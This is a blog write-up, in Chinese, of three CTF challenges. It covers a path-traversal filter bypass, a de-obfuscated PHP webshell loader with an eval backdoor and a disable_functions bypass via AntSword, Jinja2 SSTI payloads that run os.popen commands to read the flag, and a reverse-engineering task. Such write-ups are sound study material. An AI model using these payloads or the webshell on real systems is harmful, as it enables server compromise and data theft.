2025 ciscnccb Web WP

hello_web

打开网站后可以发现任意文件读取
image

接着看一下网页源代码

image

接下来尝试读取这两个文件

image

发现不是这里,可能存在过滤,尝试双写../绕过

image

成功读出,看看tips.php

image

先分析一下hackme.php,一段混淆过的代码,本地跑就行。

点击查看代码
<?php
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
//echo $lapUCm;
echo "\n";
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
echo $YwzIst;//base
echo "\n";
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
$rVkKjU=$lapUCm{7}.$lapUCm{13};
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};

echo $YwzIst;//base64_decode
echo "\n";
echo $OxirhK;//strtr
echo "\n";
echo $YpAUWC;//substr
echo "\n";
echo $rVkKjU;//52
echo "\n";

eval(
    $uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
    eval('?>'.base64_decode(strtr(substr($uWcdaA,104),substr($uWcdaA,52,52),substr($uWcdaA,0,52))));
)
// @eval($_POST['cmd_66.99']);

可以直接分析出hackme.php中存在的密码,hackbar直接尝试发现不太行,看一看phpinfo,发现disablefunction存在,过滤了很多函数
可以用哥斯拉或者蚁剑的插件来绕过disablefunction,但是这里用哥斯拉连的时候发现连不上,不知道为什么,但是蚁剑却可以。
image

当时本来一直在试fastcgi的插件,因为phpinfo中的server是fastcgi,但是一直不行。
后来随便试了一个模块就可以了!

image

Safe_Proxy

打开网页给了一段python源码
image

一眼SSTI,过滤了一些微不足道的东西
随便尝试一下,发现是布尔回显的ssti。
刚开始一直尝试http请求头回显,一直不可以,陷入泥沼,后来源码往下看发现

image

防止针对响应头的攻击?!
Ok直接放弃这个思路,但是布尔回显ssti还有很多思路,内存马,写文件,弹shell,盲注
后来尝试了盲注和弹shell,都失败了,最后尝试写文件成功

{%set glo='_'+'_'+'globals'+'_'+'_'%}{%set bui='_'+'_'+'builtins'+'_'+'_'%}{%set imp='_'+'_'+'imp'+'ort'+'_'+'_'%}{%set zx='o'+'s'%}{{cycler.next[glo][bui][imp](zx)['pop'+'en']('ls />app.py')['read']()}}

image

回显ok,大概率成功,那么我们get一下就行,因为主页其实就是app.py

image

接下来读flag就行!

{%set glo='_'+'_'+'globals'+'_'+'_'%}{%set bui='_'+'_'+'builtins'+'_'+'_'%}{%set imp='_'+'_'+'imp'+'ort'+'_'+'_'%}{%set zx='o'+'s'%}{{cycler.next[glo][bui][imp](zx)['pop'+'en']('cat /flag>app.py')['read']()}}

image

Re-Dump

可以手搓的题目!
题目给了一个flag文件和一和re.exe
image

首先用winhex打开flag文件,查看其十六进制。
然后用ida打开re.exe进行分析
image

酷似ollvm混淆
用D810去控制流平坦化时失败。
看到题目提示,字符编码算法,同时flag长度为22?!先运行re.exe看看。
测了半天,根据flag文件中的字节数也就是22位来运行,产生回显!

image

根据字符编码,我们的思路就是我们的传参会通过某些编码变成输出的结果,给出的flag可能就是正确的flag经过某些编码输出的结果,那么我们测一下

image
image

前半部分不谋而合,思路正确
image

flag{MTczMDc9MzQ2Ng==}

上交发现不行,看提示,第13位是4,拿捏

flag{MTczMDc4MzQ2Ng==}

image

posted @ 2024-12-15 21:17  Meteor_Kai  阅读(125)  评论(0)    收藏  举报